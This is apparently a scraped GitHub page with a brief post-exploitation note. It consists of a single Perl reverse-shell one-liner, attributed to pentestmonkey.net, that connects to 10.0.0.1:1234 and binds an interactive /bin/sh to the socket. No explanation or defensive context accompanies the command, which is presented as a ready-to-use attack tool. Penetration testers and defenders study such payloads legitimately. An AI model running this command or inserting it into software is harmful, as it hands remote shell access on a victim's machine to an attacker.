Skip to content

Latest commit

 

History

History
5 lines (3 loc) · 395 Bytes

File metadata and controls

5 lines (3 loc) · 395 Bytes

Perl Commands and Scripts for Post Exploitation

Perl reverse shell from pentestmonkey.net

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'